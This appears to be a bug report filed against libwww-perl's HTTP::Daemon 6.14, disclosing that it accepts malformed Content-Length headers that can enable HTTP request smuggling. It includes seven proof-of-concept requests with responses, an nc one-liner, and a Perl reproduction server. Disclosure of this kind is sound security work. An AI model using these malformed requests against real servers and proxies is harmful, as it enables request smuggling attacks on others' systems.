Open
Description
Poor parsing of content-length header in httpdaemon will lead to http request smuggling
Libwwwperl parses poorly the content-length header , if a proxy downstream a request to Libwwwperl which violates RFC in parsing
the content-length header will lead to http request smuggling , as it ambigiously parse the incoming request and contradicts with
the downstreaming proxy
Examples:
- Content_Length is treated as content-length header by httpdaemon , hence when a proxy downstream a request by just forwarding the
content_length header it will lead to http request smuggling - Multiple content-length header with different field values got accepted
Reference for http request smuggling
POC
Below here I attached all the poc for the discrepancies occured in httpdaemon in parsing the request which will lead to http request
smuggling
Discrepancy in Parsing
1. Multiple Content-Length with different values got accepted , which is violation according to RFC ,and can lead to http request smuggling
POC
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 2
Content-Length: 3
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 17:50:12 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 24
Body Length: 2 Body: ab
2. Failed to parse the Content-Length correctly
Eg : Content-Length: 3 3 , Content-Length: 3\r\n 1
POC
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 3 3
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:02:08 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc
3. negative content-length field values got mapped to positive values differently
Eg : -3 = 1 , -2 = 2 , -1 = 3
POC
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: -1
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:10:12 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc
4. +ve sign got accepted before content-length field value
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: +3
abc
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:12:36 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc
5. Content_Length header got accepted as content-length , this will definitely lead to http request smuggling
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content_Length: 3
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:14:23 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc
6. decimal values got accepted in content-length values
Request
GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 03.00
abc
Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:17:47 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: abc
7. FormFeed \x0c , BackSpace \x08 , Vertical tab \x0b got accepted before and after content-length values
Content-Length: [prefix]3[suffix]
echo -ne "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: \x0c3\r\n\r\naaa" | nc 10.16.56.236 8008
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:20:17 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25
Body Length: 3 Body: aaa
version 6.14
Code to Reproduce
use HTTP::Daemon;
use HTTP::Status;
use Try::Tiny;
my $d = HTTP::Daemon->new(
LocalAddr => '10.16.56.236',
LocalPort => 8008,
) || die;
print "Server started at:", $d->url, ">\n";
while (my $c = $d->accept) {
try{
while (my $r = $c->get_request) {
if ($r->method eq 'GET' and $r->uri->path eq "/") {
my $body_data = "\rBody Length: " . length($r->content) . " Body: " . $r->content ;
my $resp = HTTP::Response->new(200);
$resp->content($body_data);
$c->send_response($resp);
}
else {
$c->send_error(RC_FORBIDDEN)
}
}
$c->close;
undef($c);
}
catch{
$c->close;
undef($c);
warn "request failed" ;
}
}
Metadata
Metadata
Assignees
Labels
No labels